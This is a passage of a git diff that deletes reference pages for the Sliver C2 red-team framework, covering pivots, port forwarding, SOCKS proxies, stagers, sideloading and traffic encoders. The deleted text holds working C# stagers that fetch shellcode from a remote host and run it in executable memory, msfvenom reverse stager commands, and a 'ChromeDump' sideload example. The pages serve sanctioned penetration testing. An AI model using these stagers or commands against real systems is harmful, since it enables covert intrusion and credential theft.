| N/A | -| `linux/riscv64` | No | ⚠️ | ❌ | ❌ | N/A | -| `linux/s390x` | No | ⚠️ | ❌ | ❌ | N/A | -| `netbsd/386` | No | ⚠️ | ❌ | ❌ | N/A | -| `netbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `netbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `netbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/386` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/arm64` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/ppc64` | No | ⚠️ | ❌ | ❌ | N/A | -| `openbsd/riscv64` | No | ⚠️ | ❌ | ❌ | N/A | -| `plan9/386` | No | ⚠️ | ❌ | ❌ | N/A | -| `plan9/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `plan9/arm` | No | ⚠️ | ❌ | ❌ | N/A | -| `solaris/amd64` | No | ⚠️ | ❌ | ❌ | N/A | -| `wasip1/wasm` | No | ⚠️ | ❌ | ❌ | N/A | -| `windows/386` | Yes | ✅ | ✅ | ✅ | ✅ | -| `windows/amd64` | Yes | ✅ | ✅ | ✅ | ✅ | -| `windows/arm64` | Yes | ⚠️ | ⚠️ | ❌ | ⚠️ | diff --git a/capabilities/sliver-c2/docs/sliver/reference/pivots.md b/capabilities/sliver-c2/docs/sliver/reference/pivots.md deleted file mode 100644 index 6c1afb8..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/pivots.md +++ /dev/null @@ -1,58 +0,0 @@ -⚠️ **IMPORTANT:** Pivots in Sliver are used for specifically pivoting C2 traffic, not to be confused with port forwarding `portfwd`, which is used for tunneling generic TCP connections into a target environment. - -⚠️ **IMPORTANT:** Pivots can only be used in "session mode" (we may add beacon support later) - -Pivots allow you to create "chains" of implant connections, for example if you're trying to deploy a pivot into a highly restricted subnet that cannot route traffic directly to the internet you can instead create an implant that egresses all traffic via another implant in a less restricted subnet. Pivots can be arbitrarily nested, for example a pivot A can connect through pivot B to a third egress implant. - -In Sliver you use an existing session to create a "pivot listener" and then generate new pivots that can connect back to that listener, just as you would with other C2 protocols/endpoints. - -Pivots perform an [authenticated peer-to-peer cryptographic key exchange](/docs?name=Transport+Encryption) regardless of the underlying pivot protocol, therefore pivots can only communicate with other implants generated by the same server; this restriction cannot be disabled. - -## TCP Pivots - -TCP pivots are implemented in pure Go and are supported on all platforms. - -``` -[server] sliver (PRIOR_MANTEL) > pivots tcp - -[*] Started tcp pivot listener :9898 with id 1 - -[server] sliver (PRIOR_MANTEL) > pivots - - ID Protocol Bind Address Number Of Pivots -==== ========== ============== ================== - 1 TCP :9898 0 -``` - -We can now use `generate --tcp-pivot 192.168.1.1:9898` to generate an implant that will connect to the pivot listener, where `192.168.1.1` is the local IP of the server on which we started the listener. - -## Named Pipe Pivots (SMB) - -Named pipe pivots are only supported on Windows. Select a session to start a named pipe listener, and then use the `--bind` flag to specify a pipe name. Pipes are automatically started on the local machine so you only need to specify a name, remote clients are always allowed to connect to the pipe, but the default ACL will only allow the current user/group. You can allow all user/groups by using the `--allow-all` flag: - -``` -[*] Session a2615359 WARM_DRIVEWAY - 192.168.1.178:59290 (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:09:20 CST - -[server] sliver > use a2615359-b0a4-4463-820b-f4dbe6fb2c30 - -[*] Active session WARM_DRIVEWAY (a2615359-b0a4-4463-820b-f4dbe6fb2c30) - -[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar - -[*] Started named pipe pivot listener \\.\pipe\foobar with id 1 -``` - -Next we generate a named pipe implant using `generate --named-pipe 192.168.1.1/pipe/foobar`. Note that we may need to specify the IP address of the listener: `192.168.1.1`. The syntax is `/pipe/`, note that `.` is equivalent to `127.0.0.1`. This is just the standard syntax for Windows named pipes. - -``` -[*] Session 13f9ee6b ROUND_ATELIER - 192.168.1.178:59290->WARM_DRIVEWAY-> (WIN-1TT1Q345B37) - windows/amd64 - Mon, 07 Feb 2022 10:15:11 CST - -[server] sliver (WARM_DRIVEWAY) > sessions - - ID Name Transport Remote Address Hostname Username Operating System Last Check-In Health -========== =============== =========== ====================================== ================= =============================== ================== =============================== ========= - 13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE] - a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE] -``` - -⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pivot listener to allow all users/groups. diff --git a/capabilities/sliver-c2/docs/sliver/reference/port-forwarding.md b/capabilities/sliver-c2/docs/sliver/reference/port-forwarding.md deleted file mode 100644 index 88ed906..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/port-forwarding.md +++ /dev/null @@ -1,90 +0,0 @@ -Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant: - -- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.) -- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2. - -**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does require a little extra setup (see below). - -## In-Band Tunneled Port Forwarding - -Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the `portfwd add` command: - -``` -sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22 - -[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22 -``` - -By default all port forwards will be bound to the `127.0.0.1` interface, but you can override this using the `--bind` flag. Port forwarding also works in `multiplayer` mode and will forward ports to your local system. - -#### Reverse Port Forwarding - -Sliver also supports reverse port forwarding via the `rportfwd` command. - -## WireGuard Port Forwarding - -In order to use `wg-portfwd` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms): - -- MacOS `brew install wireguard-tools` -- Ubuntu/Kali `sudo apt install wireguard-tools` - -First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener: - -``` -sliver > wg - -[*] Starting Wireguard listener ... -[*] Successfully started job #1 - -sliver > jobs - -ID Name Protocol Port -== ==== ======== ==== -1 wg udp 53 -``` - -Next, using Sliver you can create a WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file): - -``` -sliver > wg-config - -[*] New client config: -[Interface] -Address = 100.64.0.16/16 -ListenPort = 51902 -PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ= -MTU = 1420 - -[Peer] -PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM= -AllowedIPs = 100.64.0.0/16 -Endpoint = -``` - -The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary. - -Make sure your WireGuard listener is running and connect using the client configuration: - -``` -$ wg-quick up wireguard.conf -``` - -Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect: - -``` -sliver > sessions - -ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health -== ==== ========= ============== ======== ======== ================ ============= ====== -1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE] -``` - -Interact with the session, and use `wg-portfwd add` to create port forwards: - -``` -sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389 - -[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389 -``` - -You can now connect to `100.64.0.17:1080` via your WireGuard interface and the connection will come out at `10.10.10.10:3389`! diff --git a/capabilities/sliver-c2/docs/sliver/reference/reverse-socks.md b/capabilities/sliver-c2/docs/sliver/reference/reverse-socks.md deleted file mode 100644 index f335c50..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/reverse-socks.md +++ /dev/null @@ -1,74 +0,0 @@ -Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels through any C2 protocol, and a WireGuard SOCKS proxy (only available when using WireGuard C2). - -## In-band SOCKS5 - -An in-band reverse SOCKS5 proxy can only be used on sessions (i.e., interactive sessions) and not beacons. - -``` -sliver (UGLY_SCARIFICATION) > socks5 add - -[*] Started SOCKS5 127.0.0.1 1081 -⚠️ In-band SOCKS proxies can be a little unstable depending on protocol -``` - -Simply upstream to `127.0.0.1:1081` from here, see `socks5 add --help` for more options. - -## WireGuard SOCKS5 - -In order to use `wg-socks` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms): - -- MacOS `brew install wireguard-tools` -- Ubuntu/Kali `sudo apt install wireguard-tools` - -First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener: - -``` -sliver > wg - -[*] Starting Wireguard listener ... -[*] Successfully started job #1 - -sliver > jobs - -ID Name Protocol Port -== ==== ======== ==== -1 wg udp 53 -``` - -Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file): - -``` -sliver > wg-config - -[*] New client config: -[Interface] -Address = 100.64.0.16/16 -ListenPort = 51902 -PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ= -MTU = 1420 - -[Peer] -PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM= -AllowedIPs = 100.64.0.0/16 -Endpoint = -``` - -The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary. - -Make sure your WireGuard listener is running and connect using the client configuration: - -``` -$ wg-quick up wireguard.conf -``` - -Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect: - -``` -sliver > sessions - -ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health -== ==== ========= ============== ======== ======== ================ ============= ====== -1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE] -``` - -Interact with the session, and use `wg-socks` to create a SOCKS proxy! diff --git a/capabilities/sliver-c2/docs/sliver/reference/stagers.md b/capabilities/sliver-c2/docs/sliver/reference/stagers.md deleted file mode 100644 index b6ea24a..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/stagers.md +++ /dev/null @@ -1,263 +0,0 @@ -**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross. - -## Overview - -As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system. - -Sliver supports the `meterpreter` staging protocol over TCP and HTTP(S). This protocol is pretty straight forward: - -- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager) -- download the stage 2 -- allocate the size read in the first step, and write the stage in memory - -For this to work, we need the following pieces: - -- a staging server (the Sliver server) -- a stage 2 payload (usually a Sliver shellcode, but can be in other formats) -- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one) - -## Example - -Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the `profiles new` command. -The following command creates a new profile that we will use for our staging listener: - -``` -sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode - -[*] Saved new profile win-shellcode - -sliver > profiles - -Name Platform Command & Control Debug Format Obfuscation Limitations -==== ======== ================= ===== ====== =========== =========== -win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled -``` - -Shellcode generation varies by platform: - -- Windows shellcode uses Donut and supports all shellcode tuning flags below. -- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only. - -Shellcode options: - -- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`) -- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux) -- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only) -- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only) -- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only) -- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only) -- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only) -- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only) -- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only) - -Example: - -``` -sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode -``` - -Linux example (compression only): - -``` -sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode -``` - -We can now create a staging listener and link it to the profile: - -``` -sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode - -[*] No builds found for profile win-shellcode, generating a new one -[*] Job 1 (tcp) started -sliver > jobs - -ID Name Protocol Port -== ==== ======== ==== -1 http tcp 1234 -2 mtls tcp 8888 -``` - -### Metasploit: Bring Your Own Stager - -**Using Metasploit stagers is only supported on Windows.** - -#### Generating an HTTP stager -If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this: - -``` -sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size -``` - -This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's `custom` payloads. - -Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out. - -Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type: - -``` -msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin -``` - -**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead. - -Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`. - -#### Generating a TCP stager -Use the `stage-listener` command to set up a listener that will send the binary to the stager: - -``` -silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size -``` - -Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit. - -As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`: - -``` -# LHOST and LPORT should correspond to the --url parameter of your stage-listener command - -msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin -``` - -## Custom Stagers - -One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2). - -The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting. - -As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`. - -Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. `/platform:x64`: - -```csharp -using System; -using System.Net; -using System.Runtime.InteropServices; - -namespace SliverStager -{ - public class Stager - { - private static string url = "http://a.bc/test.woff"; - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll")] - static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll")] - static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - public static void DownloadAndExecute() - { - ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; - System.Net.WebClient client = new System.Net.WebClient(); - byte[] shellcode = client.DownloadData(url); - IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); - Marshal.Copy(shellcode, 0, addr, shellcode.Length); - IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); - WaitForSingleObject(hThread, 0xFFFFFFFF); - return; - } - - public static void Main(String[] args) - { - DownloadAndExecute(); - } - } -} -``` - -## Encrypted Stage Example - -Sliver supports encryption and compression when serving stages. Compression options are `zlib`, `gzip`, and `deflate` (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode. - -``` -stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV -``` - -If aes-encrypt-iv is not set it defaults to `0000000000000000`. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression: - -```csharp -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Net; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Sliver_stager -{ - class Program - { - private static string AESKey = "D(G+KbPeShVmYq3t"; - private static string AESIV = "8y/B?E(G+KbPeShV"; - private static string url = "http://192.168.24.128:8443/test.woff"; - - [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] - static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); - - [DllImport("kernel32.dll")] - static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); - - [DllImport("kernel32.dll")] - static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); - - public static void DownloadAndExecute() - { - ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true; - System.Net.WebClient client = new System.Net.WebClient(); - byte[] shellcode = client.DownloadData(url); - - List l = new List { }; - - for (int i = 16; i <= shellcode.Length -1; i++) { - l.Add(shellcode[i]); - } - - byte[] actual = l.ToArray(); - - byte[] decrypted; - - decrypted = Decrypt(actual, AESKey, AESIV); - IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40); - Marshal.Copy(decrypted, 0, addr, decrypted.Length); - IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); - WaitForSingleObject(hThread, 0xFFFFFFFF); - return; - } - - private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV) - { - byte[] key = Encoding.UTF8.GetBytes(AESKey); - byte[] IV = Encoding.UTF8.GetBytes(AESIV); - - using (Aes aesAlg = Aes.Create()) - { - aesAlg.Key = key; - aesAlg.IV = IV; - aesAlg.Padding = PaddingMode.None; - - ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); - - using (MemoryStream memoryStream = new MemoryStream(ciphertext)) - { - using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)) - { - cryptoStream.Write(ciphertext, 0, ciphertext.Length); - return memoryStream.ToArray(); - } - } - } - } - - public static void Main(String[] args) - { - DownloadAndExecute(); - } - } -} -``` diff --git a/capabilities/sliver-c2/docs/sliver/reference/third-party-tools.md b/capabilities/sliver-c2/docs/sliver/reference/third-party-tools.md deleted file mode 100644 index 2ea8f81..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/third-party-tools.md +++ /dev/null @@ -1,169 +0,0 @@ -## Sideloading Features - -Sliver implants support three different ways of loading third party tools: - -- `execute-assembly` -- `sideload` -- `spawndll` - -## Known Limitations - -Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension. - -## Loading .NET Assemblies - -This feature is only supported on Windows. - -Using `execute-assembly`, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (`notepad.exe` by default, you can change this by using the `--process`) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory. - -Here's an example with [Seatbelt](https://github.com/GhostPack/Seatbelt): - -``` -sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All -[*] Assembly output: - - %&&@@@&& - &&&&&&&%%%, #&&@@@@@@%%%%%%###############% - &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%% -%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################((((((((((((((((((( -#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################((((((((((((((((((( -#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#(((((((((( -#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####(((((((( -#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((##### -###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((##### -#####%###################### %%%.. @////(((&%%%%%%%################ - &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* - &%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%, - #%%%%##, - -=== Running System Triage Checks === - -=== Basic OS Information === - - Hostname : DESKTOP-0QQJ4JL - Domain Name : - Username : DESKTOP-0QQJ4JL\lab - ProductName : Windows 10 Pro - EditionID : Professional - ReleaseId : 1909 - BuildBranch : 19h1_release - CurrentMajorVersionNumber : 10 - CurrentVersion : 6.3 - Architecture : AMD64 - ProcessorCount : 2 - IsVirtualMachine : True - BootTime (approx) : 5/19/2020 8:55:55 AM - HighIntegrity : False - IsLocalAdmin : True - [*] In medium integrity but user is a local administrator- UAC can be bypassed. -... -``` - -## Shared Library Side Loading - -The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process. - -On Linux systems, Sliver uses the `LD_PRELOAD` technique to preload a shared library previously written in a memory file descriptor using the `memfd_create` syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is `/bin/ls` by default. - -On MacOS systems, Sliver uses the `DYLD_INSERT_LIBRARIES` environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way. - -No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the `constructor` attribute for MacOS shared libraries, or adding a `.init_array` section for the Linux version. - -Sliver will use the `LD_PARAMS` environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly. - -Here's a starting point : - -```c -#if __linux__ -#include - -void DoStuff(); - -static void init(int argc, char **argv, char **envp) -{ - // unset LD_PRELOAD to prevent sub processes from misbehaving - unsetenv("LD_PRELOAD"); - // retrieve the LD_PARAMS value - // unset LD_PARAMS if there's no need for it anymore - unsetenv("LD_PARAMS"); - DoStuff(); -} -__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init; -#elif __APPLE__ -void DoStuff(); - -__attribute__((constructor)) static void init(int argc, char **argv, char **envp) -{ - // unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving - unsetenv("DYLD_INSERT_LIBRARIES"); - // retrieve the LD_PARAMS value - // unset LD_PARAMS if there's no need for it anymore - unsetenv("LD_PARAMS"); - DoStuff(); -} - -#endif -``` - -Don't forget to unset the `LD_PRELOAD` or `DYLD_INSERT_LIBRARIES` environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library. - -To side load a shared library, use the `sideload` command like this: - -``` -// Windows example -sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll -// Linux example -sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so -// MacOS example -sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib -``` - -Please be aware that you need to specify the entrypoint to execute for Windows DLLs. - -## Loading Reflective DLLs - -Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process. - -Here's an example with the `PsC` tool from [Outflank's Ps-Tools suite](https://github.com/outflanknl/Ps-Tools): - -``` -sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah -[*] Output: - --------------------------------------------------------------------- -[+] ProcessName: svchost.exe - ProcessID: 2960 - PPID: 576 (services.exe) - CreateTime: 19/05/2020 10:53 - Path: C:\Windows\System32\svchost.exe - ImageType: 64-bit - CompanyName: Microsoft Corporation - Description: Host Process for Windows Services - Version: 10.0.18362.1 - -<-> Session: TCP - State: ESTABLISHED - Local Addr: 172.16.241.128:49819 - Remote Addr: 40.67.251.132:443 - --------------------------------------------------------------------- -[+] ProcessName: CONCRETE_STEEL.exe - ProcessID: 7400 - PPID: 5440 (explorer.exe) - CreateTime: 19/05/2020 10:54 - SessionID: 1 - Path: C:\Users\lab\Desktop\CONCRETE_STEEL.exe - ImageType: 64-bit - UserName: DESKTOP-0QQJ4JL\lab - Integrity: Medium - PEB Address: 0x0000000000352000 - ImagePath: C:\Users\lab\Desktop\CONCRETE_STEEL.exe - CommandLine: "C:\Users\lab\Desktop\CONCRETE_STEEL.exe" - -<-> Session: TCP - State: ESTABLISHED - Local Addr: 172.16.241.128:49687 - Remote Addr: 172.16.241.1:8888 -``` - -Note that in this case, the entrypoint of the reflective DLL (`ReflectiveLoader`) expects a non NULL parameter, which is why we passed a dummy parameter `blah`. diff --git a/capabilities/sliver-c2/docs/sliver/reference/traffic-encoders.md b/capabilities/sliver-c2/docs/sliver/reference/traffic-encoders.md deleted file mode 100644 index c66f3f6..0000000 --- a/capabilities/sliver-c2/docs/sliver/reference/traffic-encoders.md +++ /dev/null @@ -1,51 +0,0 @@ -Sliver v1.6 supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic Encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic Encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly. - -[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust. - -For performance reasons, by default C2 messages over 2 MB in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time. - -## Traffic Encoder Specification - -### Exports - -Traffic encoders are implemented in Wasm, and must export the following functions: - -```go -decode(ptr, size uint32) (ptrSize uint64) -encode(ptr, size uint32) (ptrSize uint64) - -malloc(size uint32) uint64 -free(ptr uint32, size uint32) -``` - -The `encode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer. - -The `decode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer. - -The `malloc` function takes a `uint64` size. The function should allocate a buffer of the given size in bytes, and return a pointer to. - -The `free` function takes a pointer to memory which should be freed and a size. - -For example, a return value in Go may look like: - -```go -return (uint64(ptr) << uint64(32)) | uint64(size) -``` - -Where `ptr` is a pointer to the buffer and `size` is the size of the buffer. - -### Imports - -Optionally, the following imports may be used: - -```go -log(ptr uint32, size uint32) -rand() uint64 -time() int64 -``` - -The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. The server will also log the contents if configured to log at the DEBUG level or higher. - -The `rand()` function returns 64-bits of cryptographically secure random data. - -The `time()` function returns the current Unix Nano time as an `int64`. diff --git a/capabilities/sliver-c2/docs/sliver/reference/transport-encryption.md b/capabilities/sliver-c2/docs/sliver/reference/transport-encryption.md deleted file mode 100644 index 8b14079..0000000 --- 